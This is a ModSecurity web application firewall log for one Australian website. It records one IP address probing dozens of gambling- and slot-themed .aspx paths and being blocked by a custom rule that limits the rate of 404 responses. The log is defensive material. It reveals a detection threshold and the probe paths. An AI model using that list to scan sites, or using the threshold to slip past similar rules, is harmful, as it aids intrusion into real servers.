[Thu Feb 12 04:04:00.067471 2026] [:error] [pid 57533:tid 57590] [client 51.75.119.69:35114] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYzgsMBMbk5EwuXt4Ze7JQAAAE4"]
[Thu Feb 12 04:04:03.184636 2026] [:error] [pid 29368:tid 29381] [client 51.75.119.69:35122] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYzgs9NsoKUOH6cSt82JnAAAAQs"]
[Thu Feb 12 04:04:06.301767 2026] [:error] [pid 57533:tid 57582] [client 51.75.119.69:42268] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYzgtsBMbk5EwuXt4Ze7MAAAAEc"]
[Thu Feb 12 04:04:09.160649 2026] [:error] [pid 57641:tid 57648] [client 51.75.119.69:42284] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYzguXEGAHJopH5xQFwg_AAAAMU"]
[Thu Feb 12 04:04:12.343421 2026] [:error] [pid 57534:tid 57604] [client 51.75.119.69:42290] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYzgvN-p0vPYwBdK43TxfQAAAIE"]
[Thu Feb 12 04:04:15.337077 2026] [:error] [pid 57641:tid 57663] [client 51.75.119.69:49854] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYzgv3EGAHJopH5xQFwhDgAAANM"]
[Thu Feb 12 04:04:18.707643 2026] [:error] [pid 57534:tid 57614] [client 51.75.119.69:49858] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYzgwt-p0vPYwBdK43TxigAAAIs"]
[Thu Feb 12 04:04:22.590380 2026] [:error] [pid 57641:tid 57644] [client 51.75.119.69:49868] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYzgxnEGAHJopH5xQFwhHQAAAME"]
[Thu Feb 12 04:04:25.805015 2026] [:error] [pid 57641:tid 57647] [client 51.75.119.69:55514] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYzgyXEGAHJopH5xQFwhJwAAAMQ"]
[Thu Feb 12 04:04:29.876671 2026] [:error] [pid 57533:tid 57597] [client 51.75.119.69:55518] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYzgzcBMbk5EwuXt4Ze7XgAAAFU"]
[Thu Feb 12 04:04:32.616216 2026] [:error] [pid 57534:tid 57611] [client 51.75.119.69:55530] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYzg0N-p0vPYwBdK43TxsQAAAIg"]
[Thu Feb 12 04:04:35.612770 2026] [:error] [pid 57532:tid 57543] [client 51.75.119.69:59868] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYzg04fDW9Kql6FLJIM0KwAAAAE"]
[Thu Feb 12 04:04:38.581070 2026] [:error] [pid 57534:tid 57612] [client 51.75.119.69:59880] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYzg1t-p0vPYwBdK43TxvQAAAIk"]
[Thu Feb 12 04:05:05.345682 2026] [:error] [pid 57532:tid 57556] [client 51.75.119.69:59896] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYzg8YfDW9Kql6FLJIM0bgAAAA4"]
[Thu Feb 12 04:05:08.163045 2026] [:error] [pid 57532:tid 57546] [client 51.75.119.69:53128] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYzg9IfDW9Kql6FLJIM0cAAAAAQ"]
[Thu Feb 12 04:05:10.670144 2026] [:error] [pid 29368:tid 29376] [client 51.75.119.69:53136] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYzg9tNsoKUOH6cSt82K5gAAAQY"]
[Thu Feb 12 04:05:13.691103 2026] [:error] [pid 57532:tid 57557] [client 51.75.119.69:53142] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYzg-YfDW9Kql6FLJIM0cwAAAA8"]
[Thu Feb 12 04:05:16.793725 2026] [:error] [pid 57533:tid 57592] [client 51.75.119.69:55730] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYzg_MBMbk5EwuXt4Ze7vgAAAFA"]
[Thu Feb 12 04:05:19.578231 2026] [:error] [pid 29368:tid 29392] [client 51.75.119.69:55746] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYzg_9NsoKUOH6cSt82K9AAAARY"]
[Thu Feb 12 04:05:22.604547 2026] [:error] [pid 57532:tid 57559] [client 51.75.119.69:55748] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYzhAofDW9Kql6FLJIM0fAAAABE"]
[Thu Feb 12 04:05:26.039271 2026] [:error] [pid 57534:tid 57627] [client 51.75.119.69:53940] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYzhBt-p0vPYwBdK43TyJQAAAJg"]
[Thu Feb 12 04:05:28.865626 2026] [:error] [pid 29368:tid 29379] [client 51.75.119.69:53942] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYzhCNNsoKUOH6cSt82LDAAAAQk"]
[Thu Feb 12 04:05:31.902327 2026] [:error] [pid 57534:tid 57623] [client 51.75.119.69:53956] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYzhC9-p0vPYwBdK43TyMQAAAJQ"]
[Thu Feb 12 04:05:34.732849 2026] [:error] [pid 57534:tid 57614] [client 51.75.119.69:54794] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYzhDt-p0vPYwBdK43TyOgAAAIs"]
[Thu Feb 12 04:05:37.849023 2026] [:error] [pid 29368:tid 29375] [client 51.75.119.69:54806] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aYzhEdNsoKUOH6cSt82LJgAAAQU"]
[Thu Feb 12 04:05:40.722789 2026] [:error] [pid 57533:tid 57597] [client 51.75.119.69:54810] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYzhFMBMbk5EwuXt4Ze78gAAAFU"]
[Thu Feb 12 04:05:43.472339 2026] [:error] [pid 57534:tid 57611] [client 51.75.119.69:54816] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYzhF9-p0vPYwBdK43TyRwAAAIg"]
[Thu Feb 12 04:05:46.429488 2026] [:error] [pid 57533:tid 57600] [client 51.75.119.69:44252] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYzhGsBMbk5EwuXt4Ze7_QAAAFg"]
[Thu Feb 12 04:05:49.443959 2026] [:error] [pid 29368:tid 29375] [client 51.75.119.69:44260] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYzhHdNsoKUOH6cSt82LQwAAAQU"]
[Thu Feb 12 04:05:53.055064 2026] [:error] [pid 29368:tid 29373] [client 51.75.119.69:44268] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYzhIdNsoKUOH6cSt82LTgAAAQM"]
[Thu Feb 12 04:05:56.162079 2026] [:error] [pid 57533:tid 57599] [client 51.75.119.69:51498] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYzhJMBMbk5EwuXt4Ze8DgAAAFc"]
[Thu Feb 12 04:05:59.563901 2026] [:error] [pid 57641:tid 57647] [client 51.75.119.69:51506] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYzhJ3EGAHJopH5xQFwh2QAAAMQ"]
[Thu Feb 12 04:06:02.881387 2026] [:error] [pid 57641:tid 57667] [client 51.75.119.69:51516] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYzhKnEGAHJopH5xQFwh4AAAANc"]
[Thu Feb 12 04:06:27.978135 2026] [:error] [pid 57533:tid 57581] [client 51.75.119.69:58326] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYzhQ8BMbk5EwuXt4Ze8NgAAAEY"]
[Thu Feb 12 04:06:30.669545 2026] [:error] [pid 57532:tid 57557] [client 51.75.119.69:48970] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYzhRofDW9Kql6FLJIM06AAAAA8"]
[Thu Feb 12 04:06:34.050293 2026] [:error] [pid 57641:tid 57666] [client 51.75.119.69:48982] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYzhSnEGAHJopH5xQFwiDAAAANY"]
[Thu Feb 12 04:06:36.590609 2026] [:error] [pid 57532:tid 57560] [client 51.75.119.69:47778] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYzhTIfDW9Kql6FLJIM08AAAABI"]
[Thu Feb 12 04:06:38.971964 2026] [:error] [pid 57533:tid 57576] [client 51.75.119.69:47790] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYzhTsBMbk5EwuXt4Ze8PwAAAEE"]
[Thu Feb 12 04:06:41.371637 2026] [:error] [pid 57534:tid 57604] [client 51.75.119.69:47806] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYzhUd-p0vPYwBdK43TylAAAAIE"]
[Thu Feb 12 04:06:43.827153 2026] [:error] [pid 57534:tid 57621] [client 51.75.119.69:47814] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYzhU9-p0vPYwBdK43TypAAAAJI"]
[Thu Feb 12 04:06:46.117774 2026] [:error] [pid 57532:tid 57554] [client 51.75.119.69:35188] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYzhVofDW9Kql6FLJIM0_gAAAAw"]
[Thu Feb 12 04:06:48.495265 2026] [:error] [pid 57641:tid 57646] [client 51.75.119.69:35204] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYzhWHEGAHJopH5xQFwiJwAAAMM"]
[Thu Feb 12 04:06:51.111657 2026] [:error] [pid 57641:tid 57651] [client 51.75.119.69:35210] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYzhW3EGAHJopH5xQFwiMAAAAMg"]
[Thu Feb 12 04:06:53.671725 2026] [:error] [pid 57533:tid 57595] [client 51.75.119.69:35214] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYzhXcBMbk5EwuXt4Ze8VQAAAFM"]
[Thu Feb 12 04:06:56.186718 2026] [:error] [pid 57533:tid 57583] [client 51.75.119.69:32772] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYzhYMBMbk5EwuXt4Ze8ZAAAAEg"]
[Thu Feb 12 04:06:58.708391 2026] [:error] [pid 57533:tid 57600] [client 51.75.119.69:32776] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYzhYsBMbk5EwuXt4Ze8bAAAAFg"]
[Thu Feb 12 04:07:01.334718 2026] [:error] [pid 29368:tid 29389] [client 51.75.119.69:32786] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYzhZdNsoKUOH6cSt82L5QAAARM"]
[Thu Feb 12 04:07:03.846448 2026] [:error] [pid 29368:tid 29385] [client 51.75.119.69:32794] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYzhZ9NsoKUOH6cSt82L6gAAAQ8"]
[Thu Feb 12 04:07:06.563291 2026] [:error] [pid 29368:tid 29389] [client 51.75.119.69:47082] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYzhatNsoKUOH6cSt82L8gAAARM"]
[Thu Feb 12 04:07:09.071848 2026] [:error] [pid 57534:tid 57624] [client 51.75.119.69:47092] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYzhbd-p0vPYwBdK43Ty0QAAAJU"]
[Thu Feb 12 04:07:11.689391 2026] [:error] [pid 57534:tid 57609] [client 51.75.119.69:47108] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYzhb9-p0vPYwBdK43Ty2AAAAIY"]
[Thu Feb 12 04:07:14.717692 2026] [:error] [pid 57532:tid 57545] [client 51.75.119.69:47124] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYzhcofDW9Kql6FLJIM1SQAAAAM"]
[Thu Feb 12 04:07:17.107865 2026] [:error] [pid 57534:tid 57611] [client 51.75.119.69:42218] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYzhdd-p0vPYwBdK43Ty4QAAAIg"]
[Thu Feb 12 04:07:19.592134 2026] [:error] [pid 57534:tid 57617] [client 51.75.119.69:42232] [client 51.75.119.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYzhd9-p0vPYwBdK43Ty4wAAAI4"]
